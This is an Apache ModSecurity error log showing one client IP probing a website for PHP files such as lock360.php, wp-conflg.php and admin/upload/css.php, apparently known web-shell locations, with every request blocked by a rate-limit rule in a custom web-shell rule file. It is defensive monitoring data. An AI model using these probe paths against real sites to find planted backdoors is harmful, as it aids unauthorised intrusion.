[Wed Dec 10 18:55:55.213864 2025] [:error] [pid 36977:tid 37038] [client 20.187.91.171:57886] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aTlRu8c-JLl-uoL-Au6n9AAAAEQ"]
[Wed Dec 10 18:55:56.212950 2025] [:error] [pid 37062:tid 37084] [client 20.187.91.171:37554] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aTlRvDB0I62HCw8Z5BRC0QAAABQ"]
[Wed Dec 10 18:55:56.973868 2025] [:error] [pid 46868:tid 46880] [client 20.187.91.171:41780] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aTlRvI3NdlN2GOOyBjFibwAAAQo"]
[Wed Dec 10 18:55:57.547682 2025] [:error] [pid 36976:tid 37013] [client 20.187.91.171:37542] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aTlRvSSpHW5KVaY9tJmL0gAAAMY"]
[Wed Dec 10 18:55:58.330914 2025] [:error] [pid 36977:tid 37041] [client 20.187.91.171:41751] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aTlRvsc-JLl-uoL-Au6n-AAAAEc"]
[Wed Dec 10 18:55:59.503327 2025] [:error] [pid 49095:tid 49115] [client 20.187.91.171:46159] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aTlRv8orr4Jt2Tfx_EbI5QAAAVI"]
[Wed Dec 10 18:56:00.292375 2025] [:error] [pid 36977:tid 37052] [client 20.187.91.171:36195] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aTlRwMc-JLl-uoL-Au6n-wAAAFI"]
[Wed Dec 10 18:56:02.057029 2025] [:error] [pid 46868:tid 46878] [client 20.187.91.171:46201] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aTlRwo3NdlN2GOOyBjFicQAAAQg"]
[Wed Dec 10 18:56:03.350498 2025] [:error] [pid 49095:tid 49117] [client 20.187.91.171:36160] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aTlRw8orr4Jt2Tfx_EbI6AAAAVQ"]
[Wed Dec 10 18:56:04.077052 2025] [:error] [pid 46868:tid 46884] [client 20.187.91.171:46164] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/20.php"] [unique_id "aTlRxI3NdlN2GOOyBjFicwAAAQ4"]
[Wed Dec 10 18:56:05.700447 2025] [:error] [pid 49095:tid 49103] [client 20.187.91.171:44854] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/20.php"] [unique_id "aTlRxcorr4Jt2Tfx_EbI7AAAAUY"]
[Wed Dec 10 18:56:06.205983 2025] [:error] [pid 46868:tid 46870] [client 20.187.91.171:46207] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/20.php"] [unique_id "aTlRxo3NdlN2GOOyBjFidAAAAQA"]
[Wed Dec 10 18:56:07.331183 2025] [:error] [pid 46868:tid 46875] [client 20.187.91.171:46162] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/20.php"] [unique_id "aTlRx43NdlN2GOOyBjFidQAAAQU"]
[Wed Dec 10 18:56:09.625108 2025] [:error] [pid 36976:tid 37030] [client 20.187.91.171:57878] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aTlRySSpHW5KVaY9tJmL2QAAANc"]
[Wed Dec 10 18:56:11.591459 2025] [:error] [pid 46868:tid 46889] [client 20.187.91.171:44845] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aTlRy43NdlN2GOOyBjFieAAAARM"]
[Wed Dec 10 18:56:12.773141 2025] [:error] [pid 36976:tid 37016] [client 20.187.91.171:44855] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aTlRzCSpHW5KVaY9tJmL3QAAAMk"]
[Wed Dec 10 18:56:13.832622 2025] [:error] [pid 49095:tid 49106] [client 20.187.91.171:36174] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aTlRzcorr4Jt2Tfx_EbI-AAAAUk"]
[Wed Dec 10 18:56:15.697022 2025] [:error] [pid 49095:tid 49115] [client 20.187.91.171:46203] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aTlRz8orr4Jt2Tfx_EbI-wAAAVI"]
[Wed Dec 10 18:56:16.719819 2025] [:error] [pid 36976:tid 37017] [client 20.187.91.171:44841] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aTlR0CSpHW5KVaY9tJmL4AAAAMo"]
[Wed Dec 10 18:56:17.890955 2025] [:error] [pid 49095:tid 49118] [client 20.187.91.171:52898] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aTlR0corr4Jt2Tfx_EbI_gAAAVU"]
[Wed Dec 10 18:56:19.376449 2025] [:error] [pid 36977:tid 37038] [client 20.187.91.171:44863] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aTlR08c-JLl-uoL-Au6oAAAAAEQ"]
[Wed Dec 10 18:56:21.877998 2025] [:error] [pid 49095:tid 49113] [client 20.187.91.171:57880] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aTlR1corr4Jt2Tfx_EbJBwAAAVA"]
[Wed Dec 10 18:56:22.950572 2025] [:error] [pid 36975:tid 36986] [client 20.187.91.171:44837] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aTlR1t_ZNQ3zMmb38BFUSgAAAIY"]
[Wed Dec 10 18:56:23.524942 2025] [:error] [pid 36975:tid 36996] [client 20.187.91.171:37525] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aTlR19_ZNQ3zMmb38BFUSwAAAJA"]
[Wed Dec 10 18:56:24.542813 2025] [:error] [pid 36975:tid 37004] [client 20.187.91.171:37546] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aTlR2N_ZNQ3zMmb38BFUTQAAAJg"]
[Wed Dec 10 18:56:25.090222 2025] [:error] [pid 46868:tid 46892] [client 20.187.91.171:46145] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aTlR2Y3NdlN2GOOyBjFiewAAARY"]
[Wed Dec 10 18:56:26.179423 2025] [:error] [pid 36976:tid 37023] [client 20.187.91.171:46150] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aTlR2iSpHW5KVaY9tJmL5AAAANA"]
[Wed Dec 10 18:56:26.840852 2025] [:error] [pid 37062:tid 37069] [client 20.187.91.171:37505] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aTlR2jB0I62HCw8Z5BRC3gAAAAU"]
[Wed Dec 10 18:56:27.902802 2025] [:error] [pid 37062:tid 37077] [client 20.187.91.171:44843] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aTlR2zB0I62HCw8Z5BRC4QAAAA0"]
[Wed Dec 10 18:56:28.605714 2025] [:error] [pid 46868:tid 46883] [client 20.187.91.171:49299] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/upload/css.php"] [unique_id "aTlR3I3NdlN2GOOyBjFifQAAAQ0"]
[Wed Dec 10 18:56:30.266677 2025] [:error] [pid 36975:tid 37003] [client 20.187.91.171:52884] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/upload/css.php"] [unique_id "aTlR3t_ZNQ3zMmb38BFUUQAAAJc"]
[Wed Dec 10 18:56:31.541761 2025] [:error] [pid 49095:tid 49104] [client 20.187.91.171:46163] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/upload/css.php"] [unique_id "aTlR38orr4Jt2Tfx_EbJDgAAAUc"]
[Wed Dec 10 18:56:32.466453 2025] [:error] [pid 49095:tid 49113] [client 20.187.91.171:36204] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/upload/css.php"] [unique_id "aTlR4Morr4Jt2Tfx_EbJEQAAAVA"]
[Wed Dec 10 18:56:33.644784 2025] [:error] [pid 36977:tid 37056] [client 20.187.91.171:52902] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aTlR4cc-JLl-uoL-Au6oAgAAAFY"]
[Wed Dec 10 18:56:34.438568 2025] [:error] [pid 36976:tid 37027] [client 20.187.91.171:42853] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aTlR4iSpHW5KVaY9tJmL6AAAANQ"]
[Wed Dec 10 18:56:36.135851 2025] [:error] [pid 36976:tid 37010] [client 20.187.91.171:53920] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aTlR5CSpHW5KVaY9tJmL6gAAAMM"]
[Wed Dec 10 18:56:38.914756 2025] [:error] [pid 36977:tid 37043] [client 20.187.91.171:36201] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aTlR5sc-JLl-uoL-Au6oCAAAAEk"]
[Wed Dec 10 18:56:39.980524 2025] [:error] [pid 36977:tid 37037] [client 20.187.91.171:55999] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4.php"] [unique_id "aTlR58c-JLl-uoL-Au6oCQAAAEM"]
[Wed Dec 10 18:56:41.464894 2025] [:error] [pid 49095:tid 49121] [client 20.187.91.171:42819] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4.php"] [unique_id "aTlR6corr4Jt2Tfx_EbJFwAAAVg"]
[Wed Dec 10 18:56:42.026824 2025] [:error] [pid 36977:tid 37049] [client 20.187.91.171:33881] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4.php"] [unique_id "aTlR6sc-JLl-uoL-Au6oCgAAAE8"]
[Wed Dec 10 18:56:42.748387 2025] [:error] [pid 36977:tid 37035] [client 20.187.91.171:55967] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4.php"] [unique_id "aTlR6sc-JLl-uoL-Au6oCwAAAEE"]
[Wed Dec 10 18:56:43.795213 2025] [:error] [pid 36977:tid 37036] [client 20.187.91.171:33884] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aTlR68c-JLl-uoL-Au6oDAAAAEI"]
[Wed Dec 10 18:56:44.626133 2025] [:error] [pid 37062:tid 37065] [client 20.187.91.171:13921] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aTlR7DB0I62HCw8Z5BRC6AAAAAE"]
[Wed Dec 10 18:56:45.762025 2025] [:error] [pid 49095:tid 49115] [client 20.187.91.171:55972] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aTlR7corr4Jt2Tfx_EbJGgAAAVI"]
[Wed Dec 10 18:56:46.535884 2025] [:error] [pid 49095:tid 49114] [client 20.187.91.171:42216] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aTlR7sorr4Jt2Tfx_EbJGwAAAVE"]
[Wed Dec 10 18:56:47.526373 2025] [:error] [pid 49095:tid 49100] [client 20.187.91.171:33905] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r.php"] [unique_id "aTlR78orr4Jt2Tfx_EbJHAAAAUM"]
[Wed Dec 10 18:57:07.924703 2025] [:error] [pid 49095:tid 49111] [client 20.187.91.171:41706] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "aTlSA8orr4Jt2Tfx_EbJOgAAAU4"]
[Wed Dec 10 18:57:09.019414 2025] [:error] [pid 46868:tid 46876] [client 20.187.91.171:56048] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "aTlSBY3NdlN2GOOyBjFijwAAAQY"]
[Wed Dec 10 18:57:09.741516 2025] [:error] [pid 46868:tid 46891] [client 20.187.91.171:40400] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "aTlSBY3NdlN2GOOyBjFikAAAARU"]
[Wed Dec 10 18:57:10.654126 2025] [:error] [pid 49095:tid 49105] [client 20.187.91.171:40398] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "aTlSBsorr4Jt2Tfx_EbJPQAAAUg"]
[Wed Dec 10 18:57:11.646870 2025] [:error] [pid 49095:tid 49121] [client 20.187.91.171:14051] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aTlSB8orr4Jt2Tfx_EbJPgAAAVg"]
[Wed Dec 10 18:57:12.422723 2025] [:error] [pid 49095:tid 49120] [client 20.187.91.171:58574] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aTlSCMorr4Jt2Tfx_EbJPwAAAVc"]
[Wed Dec 10 18:57:14.581997 2025] [:error] [pid 49095:tid 49101] [client 20.187.91.171:58579] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aTlSCsorr4Jt2Tfx_EbJQQAAAUQ"]
[Wed Dec 10 18:57:16.086950 2025] [:error] [pid 36976:tid 37011] [client 20.187.91.171:42911] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aTlSDCSpHW5KVaY9tJmL-gAAAMQ"]
[Wed Dec 10 18:57:17.648615 2025] [:error] [pid 36977:tid 37057] [client 20.187.91.171:55636] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aTlSDcc-JLl-uoL-Au6oHwAAAFc"]
[Wed Dec 10 18:57:18.397109 2025] [:error] [pid 46868:tid 46878] [client 20.187.91.171:42939] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aTlSDo3NdlN2GOOyBjFilgAAAQg"]
